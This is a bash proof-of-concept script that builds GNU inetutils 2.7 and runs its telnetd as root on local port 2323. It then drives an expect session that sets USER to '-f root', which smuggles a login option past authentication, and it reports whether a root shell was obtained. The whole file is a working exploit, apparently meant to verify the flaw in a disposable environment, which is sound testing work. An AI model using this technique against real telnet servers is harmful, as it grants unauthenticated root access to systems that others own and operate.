#!/usr/bin/env bash
set -euo pipefail

ROOT="$(realpath "$(dirname "$0")/..")"
LOG_DIR="$ROOT/logs"
mkdir -p "$LOG_DIR"

cleanup() {
  if [ -n "${INETD_PID:-}" ] && kill -0 "$INETD_PID" 2>/dev/null; then
    kill "$INETD_PID" 2>/dev/null || true
    sleep 1
    kill -9 "$INETD_PID" 2>/dev/null || true
  fi
  pkill -f "/tmp/inetutils-2.7/src/inetd" 2>/dev/null || true
  pkill -f "/tmp/inetutils-2.7/telnetd/telnetd" 2>/dev/null || true
}
trap cleanup EXIT

export DEBIAN_FRONTEND=noninteractive

apt-get update -y > "$LOG_DIR/apt_update.log" 2>&1
apt-get install -y build-essential autoconf automake libtool pkg-config bison flex texinfo help2man expect curl > "$LOG_DIR/apt_install.log" 2>&1

if [ ! -f /tmp/inetutils-2.7.tar.gz ]; then
  curl -L -o /tmp/inetutils-2.7.tar.gz https://ftp.gnu.org/gnu/inetutils/inetutils-2.7.tar.gz > "$LOG_DIR/curl.log" 2>&1
fi

rm -rf /tmp/inetutils-2.7
mkdir -p /tmp

tar -xzf /tmp/inetutils-2.7.tar.gz -C /tmp

env -C /tmp/inetutils-2.7 ./configure \
  --prefix=/tmp/inetutils-2.7-build \
  --disable-logger --disable-syslogd --disable-ftpd --disable-rshd \
  --disable-rlogind --disable-rexecd --disable-tftpd --disable-uucpd \
  --disable-whois --disable-rcp --disable-rlogin --disable-rsh \
  > "$LOG_DIR/configure.log" 2>&1

make -C /tmp/inetutils-2.7 -j2 > "$LOG_DIR/make.log" 2>&1

cat > /tmp/telnetd-wrapper.sh << 'WRAP'
#!/usr/bin/env bash
exec /tmp/inetutils-2.7/telnetd/telnetd -D1
WRAP
chmod +x /tmp/telnetd-wrapper.sh

cat > /tmp/inetd.conf << 'CONF'
2323 stream tcp nowait root /tmp/telnetd-wrapper.sh telnetd-wrapper
CONF

pkill -f "/tmp/inetutils-2.7/src/inetd" 2>/dev/null || true

/tmp/inetutils-2.7/src/inetd -d /tmp/inetd.conf 2> "$LOG_DIR/inetd.log" &
INETD_PID=$!
sleep 1

cat > /tmp/telnet_exploit.tcl << EXPT
log_file $LOG_DIR/expect_exploit.log
set timeout 20
set env(USER) "-f root"
spawn /tmp/inetutils-2.7/telnet/telnet -a 127.0.0.1 2323
expect {
    -re "root@.*# " {
        send "id\r"
        expect -re "uid=.*" { }
        send "exit\r"
    }
    -re "[#\\$] " {
        send "id\r"
        expect -re "uid=.*" { }
        send "exit\r"
    }
    "Password:" {
        send "\r"
    }
    timeout {
    }
}
expect eof
EXPT

expect /tmp/telnet_exploit.tcl > "$LOG_DIR/expect_stdout.log" 2>&1 || true

if grep -q "uid=0(root)" "$LOG_DIR/expect_exploit.log"; then
  echo "VULNERABLE: obtained root shell via USER='-f root'" | tee "$LOG_DIR/result.log"
  exit 0
fi

echo "NOT VULNERABLE: exploit did not yield root shell" | tee "$LOG_DIR/result.log"
exit 1
